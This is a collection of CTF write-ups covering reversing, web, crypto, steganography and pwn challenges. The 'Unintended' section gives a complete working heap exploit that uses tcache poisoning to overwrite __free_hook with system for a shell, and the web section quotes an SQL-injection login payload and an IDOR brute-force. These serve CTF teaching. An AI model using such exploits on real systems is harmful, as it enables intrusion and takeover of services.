Unfortunately, we need **addition**. Addition is similar to XOR, **except that we need to take care of the carry**. Anyways it takes only 24+2 rules for our addition. :)
#### Summary```diffP x Q * Q' % R ------------> P x Q * P' + Q' % R (P' = Q or 0...0)```- `x`: The initial _MAOTIPLY_ operator. Sends the last digit of `P` as `0x:#a, 1x:#b`. - `#`: Alt form of `x`. `#:x` is applied when the digit process is finished.- `*`: Separates `Q` and "flexible part" of answer. - `&`: Alt form of `*`. Moves `c` and `d` to the right, and after the addition, change to `*$` so that we can fix the rightmost digit. - `$`: Temporal character to fix the rightmost digit.- `+`: _THE PLUS OPERATOR_. Adds two numbers, literally. Sends the last digit of `P'` as `0+:@g, 1+:@h`. - `@`: Alt form of `+`. `@:+` is applied when the digit process is finished. - `~`: Separates `Q'` and the "fixed part" of addition result.- `%`: Separates "flexible part" and "fixed part" of answer.- `ab`: Indicates the last digit of `P`.- `cd`: Product of `Q` and "last digit of `P`".- `ghi`: Indicates the last digit of `P'` (plus the carry)- `p`: Carry (Addition).
#### Examples```diff1101 1x 1010111101 #b 101011 (Rule 1-2)1101 # 1d0c1d0c1d1d b (Rule 3-6)1101 # 101011 dcdcd db (Rule 7-10)1101 # 101011 dcdcd &1 (Rule 15-18)1101 # 101011 & 101011 (Rule 19-20)1101 # 101011 *$ 101011 (Rule 47)1101 # 101011 * 10101 1$ (Rule 48-49)1101 # 101011 * 10101 %1 (Rule 52-53)110 1x 101011 * 10101 % 1 (Rule 54)110 #b 101011 * 10101 % 1 (Rule 1-2)110 # 101011 dcdcd db* 10101 % 1 (Rule 3-10)110 # 101011 dcdcd &1+ 10101 % 1 (Rule 11-14)110 # 101011 & 101011 + 10101 % 1 (Rule 19-20)+--------A d d i t i o n--------+ [Rule 21-46]| 10101 1+ 10101 || 10101 @h 10101 | (Rule 23-24)| 10101 @ 1010 1h | (Rule 25-28)| 10101 @ 1010 p~0 | (Rule 37-40)| 1010 1+ 1010p ~ 0 | (Rule 44)| 1010 @ 1010 hp ~ 0 | (Rule 23-28)| 1010 @ 101 0i~ 0 | (Rule 29-30)| 1010 @ 101 p~0 0 | (Rule 31-36)| 101 0+ 101p ~ 00 | (Rule 44)| ... || 1+ p ~ 00000 | (Rule 23-40, 44)| @ hp ~ 00000 | (Rule 23-24)| @i~ 00000 | (Rule 30)| 1000000 | (Rule 41-43)+--E n d O f A d d i t i o n--+110 # 101011 & 1000000 % 1110 # 101011 *$ 1000000 % 1 (Rule 47)110 # 101011 * 100000 0$% 1 (Rule 48-49)110 # 101011 * 100000 %0 1 (Rule 50-51)110 x 101011 * 100000 % 01 (Rule 54)...x101011 * 100100 % 01001x*100100 % 01001 (Rule 55-56)x*10010001001 (Rule 57)10010001001 (Rule 58-60, TERMINATED)```omitted some special rules like 21-22, 45-46.#### Drawing the Picture```diffP x Q * Q' % R ------------> P x Q * P' + Q' % R (P' = Q or 0...0)```**Basics are same. Details(`a b c d` things) are almost same.** Send last digit of `P` to the back, _do some process_, fix the last digit, and again. The thing is that **_THE PROCESS_ is a little bit harder...**
**_Maotiply_ last digit of `P` with `Q`.** This process is easy(_but still 8 rules required_), since the result is always `Q` or `0`. Let `P'` the result of this _maotiplication_. Calculate `P' + Q'`(_oh, that's an **addition**_). Now we got **the last digit of the answer. Fix it with `%`.**
We will talk about _addition_ later. For now, just think about how to wrap-up. We do the process above, over and over, by changing `#` to `x`, **until... `P` is empty.** (_No case work! hooray!_)```text11011 x 1010111101 x 101011 * 10101 % 1110 x 101011 * 100000 % 01...x 101011 * 100100 % 01001```Okay, so what's the answer? `10010001001`. Yes! **Just concatenate the last two numbers and terminate!** (Q: Why does it work? A: _The Rule of Thumb._)
Addition of `P'` and `Q'`. Almost same as XOR, except for two additional alphabets, `i` and `p`. First, `p` is **the carry of the addition.** Every time the sum of single digit exceeds 2, carry is set and there will be `p` in somewhere. `p` **upgrades the last digit of `P'`.** `g(=0)` to `h(=1)`, and `h(=1)` to... `i(=2)`.
If we make `P'=0...0` when _maotiplying_ 0, we can prove that `len(P') = len(Q')` or `len(P') = len(Q') + 1`. This can possibly reduce some case work.```diff101011 + 1101110101 @h 1101110101 @ 1101 1h10101 @ 1101 p~01010 1+ 1101 p ~ 01010 @h 1101 p ~ 01010 @ 1101 hp ~ 01010 @ 110 1i~ 01010 @ 110 p~1 01010 + 110 p ~ 10101 + 11 ~ 11010 + 1 p ~ 01101 + p ~ 00110@ hp ~ 00110@i~ 0011010 00110```#### Solution Details
##### Rule 1-2: `0x:#a 1x:#b`- Begin the sending process for _maotiplication_.
##### Rule 3-6: `a0:0ca a1:1ca b0:0cb b1:1db`- Send `a` or `b` to the back of `Q`, but this time for each digit **we _maotiply_ and make something like `c` or `d`.**
##### Rule 7-10: `c0:0c c1:1c d0:0d d1:1d`- Send the _maotiply_ results to the back of `Q`.
##### Rule 11-14: `ca*:&0+ cb*:&0+ da*:&1+ db*:&1+`- Initial process of moving `P'`. In this case `*` exists, so `+` sign goes together.(`P # Q & P' + Q' % R`)- **These rules should come before Rule 15-18.**
##### Rule 15-18: `ca:&0 cb:&0 da:&1 db:&1`- Initial process of moving `P'`. In this case `*` does not exist, so no addition needed.(`P # Q & P'`)
##### Rule 19-20: `c&:&0 d&:&1`- move the remaining parts of `P'`.
#### Rule 21-46: ADDITION (`P' + Q'`)
##### Rule 21-22: `&0+%:*%0 &1+%:*%1`- handling zero-length numbers. This happens when `Q < 2`.
##### Rule 23-24: `0+:@g 1+:@h`- Begin the sending process for addition.
##### Rule 25-28: `g0:0g g1:1g h0:0h h1:1h`- Send `g` or `h` to the back of `Q'`.
##### Rule 29-30: `gp:h hp:i`- Update last digit of `P'` with `p`.
##### Rule 31-36: `0g~:~0 1g~:~1 0h~:~1 1h~:p~0 0i~:p~0 1i~:p~1`- Add last digit of `P'` and `Q'`. and put it back to the `~`.
##### Rule 37-40: `0g:~0 1g:~1 0h:~1 1h:p~0`- Add last digit of `P'` and `Q'`, and make `~` to put the result to the back.
##### Rule 44: `@:+`- Indicates the end of current "wave" **for addition**, and go on for the next digit- `@g~, @h~, @i~` rules should go first (**Rule 41-43**)
##### Rule 41-43: `@g~:0 @h~:1 @i~:10`- Terminate the addition process. (Case when `len(P') = len(Q') + 1`)
##### Rule 45-46: `+p~:1 +~:`- Terminate the addition process (Case when `len(P') = len(Q')`)
(End of Addition)
##### Rule 47-49: `&:*$ $0:0$ $1:1$`- Send `$` to the back of `Q'`.
##### Rule 50-53: `0$%:%0 1$%:%1 0$:%0 1$:%1`- Fix the last digit. We can check the last digit by `$`.
##### Rule 54: `#:x`- Indicates the end of current "wave" **for _maotiplication_**, and go on for the next digit.
##### Rule 55-56: `x0:x x1:x`- **Now `x` becomes a monster.** It removes all digits between `x` and `*`.
##### Rule 57: `%:`- Remove `%` so that we **concatenate** the two numbers.
##### Rule 58-60: `x*0:x* x*1::1 x*::0`- Remove **leading zeros** of answer. Whenever `x*` meets `1`, remove itself and terminate.- If all the digits are removed and only `x*` left, **the answer is 0.** Replace it to `0` and terminate.
### Answer (60/100 rules, max 931/2500 substitutions)```diff0x:#a1x:#ba0:0caa1:1cab0:0cbb1:1dbc0:0cc1:1cd0:0dd1:1dca*:&0+cb*:&0+da*:&1+db*:&1+ca:&0cb:&0da:&1db:&1c&:&0d&:&1&0+%:*%0&1+%:*%10+:@g1+:@hg0:0gg1:1gh0:0hh1:1hgp:hhp:i0g~:~01g~:~10h~:~11h~:p~00i~:p~01i~:p~10g:~01g:~10h:~11h:p~0@g~:0@h~:1@i~:10@:++p~:1+~:&:*$$0:0$$1:1$0$%:%01$%:%10$:%01$:%1#:xx0:xx1:x%:x*0:x*x*1::1x*::0EOF```Spending lot of time solving the problem, and writing this stuff, but still I love this problem :)## Flag`corctf{qu1nt3c_w0u1d_b3_pr0ud}` |
# Sanity
#### Category : Reverse#### Points : 437 (56 solves)#### Author : 1gn1te
## Challenge```bashstrings Sanity.exe | grep BS | cut -d'{' -f2 | cut -d'}' -f1 | while read l;do echo $l | base64 -d ;done```
[chall link](https://storage.googleapis.com/noida_ctf/Reverse/Sanity.zip)
## SolutionUsing the command given in the challenge we get lyrics of Rickroll.
Opening the exe in ghidra, we see that it XORs each character and then compares it.
Opening the binary in Ollydbg and setting the breakpoint at the `CMP` instruction using `F2`.
The flag length is 33 as this was the length of the string getting XORed with input(from ghidra).
We send 33 A's and then look at the CMP instruction.
So A gets converted into H and then is compared to K. So we can just XOR A with H to get the key and then XOR the key with K to get the flag.
So I note down the encrypted key and the encrypted string and make the following solve script.
```pythonfrom pwn import xorpayload = 'A'*33cipher = 'HeHeBoiiHeHeBoiiHeHeBoiiHeHeBoiiH'enc_key = 'KwGKjJISL^s^yTRRs^s^yTRRs^s{EBIOt'flag = ''for i in range(0,33): flag = flag + xor(xor(enc_key[i],payload[i]),cipher[i]).decode('ascii')print(flag)```
Using this script, we get the flag `BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}`
[Original Writeup](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/BSides%20Noida/Sanity/README.md) |
Challenge_Name = Door Lock Description = The door is open to all! See who is behind the admin door?? Author = r3curs1v3_pr0xyChallenge_Link = http://34.135.171.18/
# Solution_ExplainWhen we go to website, It was same website with the first challenge. Cool, Right?So, i go to login page and trying sql payloads.
# Sql Payload Worked! (but not get flag)Payload = admin' or '1'='1
# Notice Parameter (?id=123)So I have been crazy because sql injection not worked. But i noticed the (id) parameter and (values).
# Final Soultion (IDOR)So I used Burpsuite to bruteforce the (Values) in the (?id=) parameter. And Burp show me the values (1766).So I paste the that value(1766) in the (?id=) parameter. Yessssssssssssssss! We got flag.
Get_Flag_Url = http://34.135.171.18/profile/index.php?id=1766
# Flag: GrabCON{E4sy_1D0R_}
# Note: I can't show picture and images to explain because of my pc.(Sorry) |
## Intro**Pyimplant** was a misc challenge at ALLES! CTF 2021.
You were given the bytecode of a python script which had been altered in some wayas its SHA256 checksum apparently doesn't match the original compiled script anymore.
## InvestigationThe most natural step was to decompile the bytecode and compare the source with the original. I used`decompyle6` for that. But except for a missing docstring they were basically the same. So the flag mustbe hidden somewhere in the bytecode itself.
## SolutionI dumped the bytecode using `xxd` and as I looked through the ASCII representation I recognizedthe flag format.```000002f0: 0383 0144 4190 035d 407d 0274 0174 0283 ...DA..]@}.t.t.. | A00000300: 0101 4c74 0364 047c 0017 4c64 0517 4583 ..Lt.d.|..Ld..E. | L L E00000310: 0101 5374 0483 007d 0374 027c 0319 2164 ..St...}.t.|..!d | S !00000320: 066b 0272 567c 0074 027c 033c 7b7c 0164 .k.rV|.t.|.<{|.d | {00000330: 0737 707d 016e 0a74 0364 0883 0101 7971 .7p}.n.t.d....yq00000340: 147c 0164 096b 0590 0372 2874 0264 0a19 .|.d.k...r(t.d..00000350: 3774 0264 0b19 6804 3003 6e6b 026f 9274 7t.d..h.0.nk.o.t00000360: 0264 0c19 5f04 6203 796b 026f 9264 066b .d.._.b.yk.o.d.k00000370: 036e 0402 7401 3372 be74 0174 0283 0101 .n..t.3r.t.t....00000380: 6374 0364 0d83 0101 6f74 0364 0e7c 0017 ct.d....ot.d.|..00000390: 6464 0f17 3383 0101 5f50 7390 026e 6a74 dd..3..._Ps..njt000003a0: 0264 1019 3374 0264 1119 6304 7203 336b .d..3t.d..c.r.3k000003b0: 026f e674 0264 1219 7404 7303 7d6b 026f .o.t.d..t.s.}k.o` | }```
So I copied the passage into `vim` and removed all characters which I thought wouldn't be part of the flag,which left me with```ALLES!{d7pntdyqdkrtd7tdh0nkotd_bykodknt3rttctdotddd3_Psnjtd3tdcr3kotdts}```
I then removed character by character, trying out a few combinations of which I thought they would make sense. I got lucky at some point with the flag being
> ALLES!{py7h0n_byt3cod3_s3cr3ts}
##### EditOnly after the event ended I learned about python 3.6 opcodes always occupying two bytes so thatopcodes without an argument leave space to hide 1 byte. There even is a tool called [stegosaurus](https://github.com/AngelKitty/stegosaurus) forembedding and reading payloads in python bytecode, which I could have used instead. |
**Unintended** was a heap challenge from RaRCTF.
the libc version was libc-2.27, which is the standard version for Ubuntu 18.04, is has tcache activated, and is vulnerable to many attacks.
It wasn't a hard challenge, but could be interesting to analyse for people beginning with heap exploitation.
first let's have a look at various binary protections:

ok , the program present to us a classic heap menu challenge..

while basically, permits to allocate a bloc, view it , delete it, and edit it...
### 1. Functional Analysis
**"Make a challenge"**
When we choose "Make a challenge", the program ask for a challenge number first:
We see in the code that we can create up to 10 challenges, (0 to 9).
The bloc allocated address are stored in a challenges[] table, of 10 entries.
It checks if the index is in the 0 to 9 range, and if the challenges[index] entry is zero.
then it allocates a blocs of 0x30 bytes
in this bloc:* at offset 0, it ask for "Challenge category" and store it as char string of max 16 bytes* at offset 0x10, it ask for "Challenge name" and store it as char string of max 16 bytes* at offset 0x20 it store a pointer to a second bloc, that you are first asked for its length (free) "Challenge Description Length"* at offset 0x28 it store a number of point value.
so, it allocates a second bloc, with the given "Challenge Description Length", store the address pointer of the bloc at offset 0x20 (of first bloc)and it read the challenge description from user input, and store it in the newly allocated bloc.
**"Patch a challenge"**
well it is an edit "challenge description" function basically. You can only edit challenge in the "web" category.
It is presented as a patch vulnerability function, and in fact , that is where the vulnerabilty lies..
well let's have a look at IDA reverse output..

well.. do you see the vuln?
the program use the returned value of strlen, as the size for the read function.
if you create a bloc with length ending by 8 (because of the length, of the metada), and fill it with data (no zeroes in)
the last byte of the chunk, will touch the size value of the next bloc,.. and as strlen stop at the first zero byte encountered..
strlen, will return the length of the bloc plus the length of the prev_size entry..
so you will be able to edit the size of the next chunk after you data..
let's try it, we will allocate a bloc of 0x28, and a bloc of 0x70 sizes.
but remember the "Make Challenge" will allocate two blocs, for each challenge created, one of 0x30 bytes (true size 0x40 because of the metadat added), and one of the requested size for "Challenge description"
so with our python code:

let's see the result on gdb (with gef):
you can see in the gdb picture, that our data 'a' char, 0x61 in ascii, reach the address with the size of the next bloc,
it is the value 0x41 (in green on picture), that indicates a bloc of 0x40 (plus bit 0 set for PREV_INUSE)
so if we call strlen, it will return us a size of 0x29 byte, instead of 0x28, the real size of our data.
With that vulnerability, we can edit the next bloc size.
We will explain later, how this can be abused , to obtain overlapping chunks..
that are chunks, that overlapped an another chunk after, and that will permit us to edit the next chunk metadata..
**"Deploy a challenge"**
this function, is a show chunks content function.
it checks if the requested bloc, is in the range 0 to 9, and if its address pointer in challenges[] table is non-null before showing it.
(so it has no vulnerability by itself, but it will be important for us , to dump libc, and heap addresses..)
it prints the "Name" and "Category" entries, in the first 0x30 bytes chunk allocated for each challenge.
then it will print the Description , in the challenge description bloc allocated by us.
**"Take Down challenge"**
this function, is a delete chunks content function.
it checks if the requested bloc, is in the range 0 to 9, and if its address pointer in challenges[] table is non-null before deleting it.
Then it will first free the chunks with the Challenge description, then then 0x30 chunk with the challenge data inside (name, category, etc...)
then it will clear the challenges[] table entry, to prevent use after free, if the chunks..
**"Do Nothing"**
Well it does ...guess what ?? Nothing...then exits.. (which is a bit more than nothing in fact...)
### 2. Let"s Prepare for War.
First as the binary has PIE protection on, we need to leak libc base address & heap base address.
as we can choose the size of the chunk allocated, depending on the requested size, we can allocate data in unsorted bin, or tcache, or even mmaped chunk before libc,
so this is a relatively easy task.
there are many ways to do it. Let's first leak libc address.
There is no Use After Free (UAF) vulnerability in show chunk function, so we need to allocate a chunk again (same size) at the place we want to leak libc arena address,
and as malloc does not clear the chunk allocated, we only write one byte to the new allocated chunk (ideally the same that the LSB of
libc arena address, 0xa0 in our case) to dump the full libc arena adress.
We will allocate a chunk of 0x428 bytes (chunk 'A'), it is bigger than tcache maximum chunk size, so it will be allocated in unsorted bin.
then we will allocate two 0x38 bytes (0x40 in tcache) chunks (named 'B' & 'C')
then we will free them. The big chunk allocated in unsorted bin, when freed, will have it's BK & FD pointers, point to main_arena in libc.
with LSB of libc address always be 0xa0.. (easy to verify on gdb), so we will allocate (immediatly after freeing them),
another bloc of the same size 0x428, with only a byte of 0xA0 as its data.. so that the libc main_arena address will not be corrupted.
And we can leak it, with the "Deploy Challenge" function.
```pythonadd(0,'web', 'A', 0x428, 'aaa', 1000)add(1,'web', 'B', 0x38, 'aaa', 1000)add(2,'web', 'C', 0x38, 'aaa', 1000)free(0)free(2)free(1)add(0,'web', 'A', 0x428, '\xa0', 1000)deploy(0)```
see the state of the heap after this operation.

now we do the same for leaking an heap address, and calculate heap base address.
We allocate a chunk of 0x38 bytes, (0x40 with medata) , so it will be allocate at the same address,
and we use byte 0x80 for our LSB, (verified with gdb), to obtain a correct heap chunk address.
as it's offset from the beginning of the heap is constant, we substract it with 0x780 to obtain the beginning of the heap
```pythonadd(1,'X', 'B', 0x38, '\x80', 1000)deploy(1)```
see the state of the heap after this operation.

you can see the LSB overwritten, and our calculation..
after all this, there are still two chunks previously free in tcache list as you can see at the bottom of the picture..
this is the bloc 'C' with it data bloc of 0x40 also..
### 2. Let's start the War !!!
Ok, at this point, we have all we need , we know the libc base address, and we know the heap base address.
This is all we need.
We are gonna try to have chunks overlapping, so that by editing a chunk we will edit the metadata and data of a previously freed chunk.
As there are no UAF vulnerability in edit function, it will be impossible to do it, without overlapping chunk.
Basically, this is the same attack that the one explained in the VERY GOOD github of Shellphish, named "how2heap"
https://github.com/shellphish/how2heap/blob/master/glibc_2.27/overlapping_chunks.c
I can recommand you to read, and study all the examples in this github, this is probably one of the best source of information, for heap exploitation.
One thing that complicates a bit the exploitation for us, is that when we allocate a new Challenge, two chunks are created each time.
One of 0x30 bytes and another that we can choose the size.. And for the attack to succeed, it need that the two chunks are adjacent.
Because we modify the size of the adjacent chunk. So if we have a 0x40 chunk in between, we cannot reach the size of the chunk that we control the content.
ok...well...
You remember that we have two chunks of 0x40 in tcache list, you can see them at the bottom of the previous picture.
These chunks, will save our lives :) because the two next 0x30 chunk allocation request, will be served from the tcache list...
So the chunk, will be allocated at their old places, and not in between our big chunks allocation...
But you will see it in GDB...
of let's see the beginning ouf the attack..
```pythonadd(2,'web', 'A', 0x4f8, 'a'*0x4f8, 1000)add(3,'web', 'B', 0x4f8, 'b'*0x4f8, 1000)add(4,'web', 'C', 0x78, 'c'*0x78, 1000)free(3)patch(2,'A'*0x4f8+p16(0x581))free(4)payload = 'D'*0x530+p64(0)+p64(0x81)+p64(libc.symbols['__free_hook'])+p64(heap_base+0x10)add(3,'web', 'D', 0x578, payload, 1000)```
we allocate two big unsorted chunk of 0x4f8 bytes (they will be 0x500 bytes with metada)
followed by a tcache chunk of 0x78bytes (0x80 in tcache)
we free the unsorted chunk in the middle, this is the one that we will attack, by overflowing into is size value while editing previous chunk.
we modify it's size, to 0x581, a bigger size that will overlap the tcache chunk 'C' just after...
then we free the tcache bloc 'C', to be able to modify it once freed..
and finally create an unsorted bloc of size 0x578 bytes (0x580 with metada).., that bloc will be allocated at the place of the 'B' chunk , that we have freed before, as the malloc system now believed that the old size (modified by us) was 0x580 also...
so what we have now?
we have a 0x580 bloc 'D' at index 3, that will overlap the next chunk of 0x78 (0x80) size, that we freed before..
see the state of the heap at this point

once we have two overlapping chunks, we will do the last part of the attack.
We will do a tcache poisonning attack.
if is explain in depth here:
https://github.com/shellphish/how2heap/blob/master/glibc_2.27/tcache_poisoning.c
it need to overwrite a already free tcache block fd pointer, with an address where we want to write,
then we do two chunk allocation, and the second chunk allocated, will be allocated at our desired address...
this is our payload when we create the big chunk, that overlap the tcache freed chunk.
it replace tcache chunk fd pointer, by __free_hook pointer.
__free_hook, is a standard hook for free function, that will be called when you free a chunk of memory instead of original free function.
```pythonpayload = 'D'*0x530+p64(0)+p64(0x81)+p64(libc.symbols['__free_hook'])+p64(heap_base+0x10)add(3,'web', 'D', 0x578, payload, 1000)```
we overwrite the fd pointer.
see the heap at this point

you can see in tcache 0x80 chunk list, that the second address to be served, will be __free_hook now.
then the tcache poisonning attack
```pythonadd(5,'web', 'E', 0x78, '/bin/sh\x00', 1000)add(6,'web', 'F', 0x78, p64(libc.symbols['system']), 1000)```
the first block will contains the data that we want to pass to the free function , when doing free(5)
then the second allocation, will be at the address of free_hook, and there we will replace free function by "system" libc function.
as you can see here.. (smells good..)

Like this, when we will do free(5), to free the 5th bloc that contains the '/bin/sh' strings..
system('/bin/sh') will be executed, and at this time...we will have shell
of let's see it in action.. :)
*nobodyisnobody still pwning things...*

```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
exe = ELF('./unintended')libc = ELF('./lib/libc.so.6')
def one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
host, port = "193.57.159.27", "55446"
p = remote(host,port)
def add(idx,categ,name,length,descr,points): p.sendlineafter('> ', '1') p.sendlineafter('number: ', str(idx)) p.sendlineafter('category: ', categ) p.sendlineafter('name: ', name) p.sendlineafter('length: ', str(length)) p.sendafter('description: ', descr) p.sendlineafter('Points: ', str(points))
def patch(idx,descr): p.sendlineafter('> ', '2') p.sendlineafter('number: ', str(idx)) p.sendafter('description: ', descr)
def deploy(idx): p.sendlineafter('> ', '3') p.sendlineafter('number: ', str(idx))
def free(idx): p.sendlineafter('> ', '4') p.sendlineafter('number: ', str(idx))
add(0,'web', 'A', 0x428, 'aaa', 1000)add(1,'web', 'B', 0x38, 'aaa', 1000)add(2,'web', 'C', 0x38, 'aaa', 1000)free(0)free(2)free(1)add(0,'web', 'A', 0x428, '\xa0', 1000)deploy(0)p.readuntil('Description: ',drop=True)libc.address = u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))- 0x3ebca0print('libc base = {:#x}'.format(libc.address))
add(1,'X', 'B', 0x38, '\x80', 1000)deploy(1)p.readuntil('Description: ',drop=True)heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))- 0x780print('heap base = {:#x}'.format(heap_base))
# try chunk overlapp micmacadd(2,'web', 'A', 0x4f8, 'a'*0x4f8, 1000)add(3,'web', 'B', 0x4f8, 'b'*0x4f8, 1000)add(4,'web', 'C', 0x78, 'c'*0x78, 1000)free(3)patch(2,b'A'*0x4f8+p16(0x581))free(4)
payload = b'D'*0x530+p64(0)+p64(0x81)+p64(libc.symbols['__free_hook'])+p64(heap_base+0x10)add(3,'web', 'D', 0x578, payload, 1000)
add(5,'web', 'E', 0x78, '/bin/sh\x00', 1000)add(6,'web', 'F', 0x78, p64(libc.symbols['system']), 1000)
free(5)
p.interactive()```
|
# <https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/supercomputer># supercomputer
by [haskal](https://awoo.systems)
crypto / 457 pts / 85 solves
>I ran this code with a supercomputer from the future to encrypt the flag, just get your own and>decryption should be simple!
provided files: [supercomputer.py](https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/supercomputer/supercomputer.py) [output.txt](https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/supercomputer/output.txt)
## solution
first, do some source review. there is not a lot of it```pythondef v(p, k): ans = 0 while k % p == 0: k /= p ans += 1 return ans```this seems to be computing the number of times `p` is a factor of `k`
```pythonp, q, r = getPrime(2048), getPrime(2048), getPrime(2048)print(p, q, r)n = pow(p, q) * r```this is taking a very very large power and multiplication (don't actually run this it'll neverfinish lol -- it was run on a supercomputer from the future but it can't be run on our computers)
```pythona1 = random.randint(0, n)a2 = n - a1assert a1 % p != 0 and a2 % p != 0t = pow(a1, n) + pow(a2, n)print(binascii.hexlify(xor(flag, long_to_bytes(v(p, t)))))```
and here we generate a random number, subtract it from n, take the power and then use thefactor-counting function to xor the flag
now i don't know how to math at all so here i decided to run this with some much smaller primes andsee what happens (dynamic analysis ftw). try replacing `p, q, r` with combinations of 3, 5, 7, and11. you'll notice immediately that the result is always `2q`. so let's try it
```python[ins] In [1]: import ast
[ins] In [2]: with open("output.txt") as f: ...: [p,q,r] = [int(x) for x in f.readline().strip().split(" ")] ...: enc = ast.literal_eval(f.readline())
[ins] In [3]: from pwn import xor
[ins] In [4]: from binascii import unhexlify
[ins] In [5]: enc = unhexlify(enc)
[ins] In [6]: v = 2 * q
[ins] In [7]: xor(enc, v.to_bytes(v.bit_length()//8+1, "big"))Out[7]: b'corctf{1_b3t_y0u_d1dnt_4ctu411y_d0_th3_m4th_d1d_y0u?}\ncorctf{1_b3t_y0u_d1dnt_4ctu411y_d0_th3_m4th_d1d_y0u?}\ncorctf{1_b3t_y0u_d1dnt_4ctu411y_d0_th3_m4th_d1d_y0u?}\ncorctf{1_b3t_y0u_d1dnt_4ctu411y_d0_th3_m4th_d1d_y0u?}\ncorctf{1_b3t_y0u_d1dnt_4ctu411y_d0_th3_m4'```
yea |
Please view the [original writeup](https://infosecstreams.github.io/allesctf2021/sanitycheck/) here: https://infosecstreams.github.io/allesctf2021/sanitycheck/
# Sanity Check
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/allesctf2021/sanitycheck/)
----
```textYou aren't a ?, right?```
## Are you...
This is essentially the `README.md` of CTFs. Let's launch the challenge and look for the strongly hinted-at `robots.txt` file.

Let's check for a robots.txt...
## A Robots.txt?

## Victory
Submit the flag and claim the points:
**ALLES!{1_nice_san1ty_ch3k}** |
> Extract using 7Zip, we see a `flag.txt` file protected by a password as well as another `puzzle.png` shown below:

> There is a pattern to this puzzle, and it is nothing mathematical. From 12 to 11112, firstly, we put a 1, then we count how many of what numbers is in the previous line. In this case, there is one 1 and one 2. Thus, we append 11 and 12. We get: 11112
> From 11112 to 24112, firstly, we put a 2, then we count how many of what numbers is in the previous line. In this case, there is four 1 and one 2. Thus, we append 41 and 12. We get: 24112
> As we carry on, we get the `?` to be `61542142311`.
> Extract `flag.txt` using the password above. We get:
```txtR1pIUEdTe1EzeV9NM19RNDU3NHpfRTRzNzBfVzRhX1U0el9PMV9RM3kwX1c0YV9QdTAwYV9YMGE0en0=```
> Base 64 decoding gives us:
```txtGZHPGS{Q3y_M3_Q4574z_E4s70_W4a_U4z_O1_Q3y0_W4a_Pu00a_X0a4z}```
> ROT13 to get the flag:
`TMUCTF{D3l_Z3_D4574m_R4f70_J4n_H4m_B1_D3l0_J4n_Ch00n_K0n4m}` |
Please view the [original writeup](https://infosecstreams.github.io/allesctf2021/pyimplant/) in it's full glory here: https://infosecstreams.github.io/allesctf2021/pyimplant/# Pyimplant
Writeup by: [GoProSlowYo](https://github.com/goproslowyo)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/allesctf2021/pyimplant/)
----
```textOur company just developed an awesome python TicTacToe game. Before shipping, it was compiled to bytecode to minimize size and enable a faster download all over the world. However, in the recent days we found a version of our bytecode online, which produces another sha256sum as our original one, but it still works properly and has all our fancy features!? What did they manipulate? Can you find any implants?
You'll find the source code and the manipulated version attached in the ZIP file.```
## Initial Research
We're given python source and a "modified" compiled pyc file. We're told one has been modified and to find the difference.
First we decided to look at a few tools that decompile python `.pyc` files into roughly their original source code:
```bash$ docker run -it -v $PWD:/chal python bashroot@737f35ee8f80:/# pip install uncompyle6 decompyle3 && cd /chalroot@737f35ee8f80:chal/# decompyle3 manipulated_tictactoe.cpython-36.pycError: decompyle3 requires Python 3.7-3.8root@737f35ee8f80:/chal# uncompyle6 manipulated_tictactoe.cpython-36.pyc > decomp.pyroot@737f35ee8f80:/chal# diff -y tictactoe.py decomp.pyroot@737f35ee8f80:/chal# exit$ ```
## Version Mismatches
Here you can see decompyle3 complains that it want's us to use a specific version of python and decompyle6 output decompiled code that is exactly similar to the source code provided except some `#` comments missing.
We need to do a little more research and found that first we should be using the correct version of python that the `pyc` was created with. That appears to be version 3.6. Unfortunately running that `latest` docker container gave us python 3.9 which is a bit too new.
```shell$ docker run -it -v $PWD:/chal python:3.6 bashroot@be34237eefad:/# pip install uncompyle6 decompyle3 && cd /chalroot@be34237eefad:/chal# uncompyle6 manipulated_tictactoe.cpython-36.pyc > decomp.pyroot@be34237eefad:/chal# diff -y tictactoe.py decomp.py```
## Ancient History or Stegosarus Time
And again, we found no differences so time to do more research. A little googling brought us to a [great resource](https://liuxin.website/project/pyc/) and in it we found mention of a tool called Stegosaurus.
Stegosarus gave us the flag pretty easily:
```shellroot@be34237eefad:/chal# git clone https://bitbucket.org/jherron/stegosaurus.gitCloning into 'stegosaurus'...Unpacking objects: 100% (18/18), 8.18 KiB | 2.73 MiB/s, done.root@be34237eefad:/chal# python stegosaurus/stegosaurus.py -x manipulated_tictactoe.cpython-36.pyc Extracted payload: ALLES!{py7h0n_byt3cod3_s3cr3ts}```
## Victory
Submit the flag and claim the points:
**ALLES!{py7h0n_byt3cod3_s3cr3ts}** |
# Are you admin**__reversing, buffer overflow__**
```nc 194.5.207.113 7020```File binary: [areyouadmin](https://github.com/BuiKimPhat/ctf-writeup/blob/master/pwn/tmuctf/areyouadmin/areyouadmin)
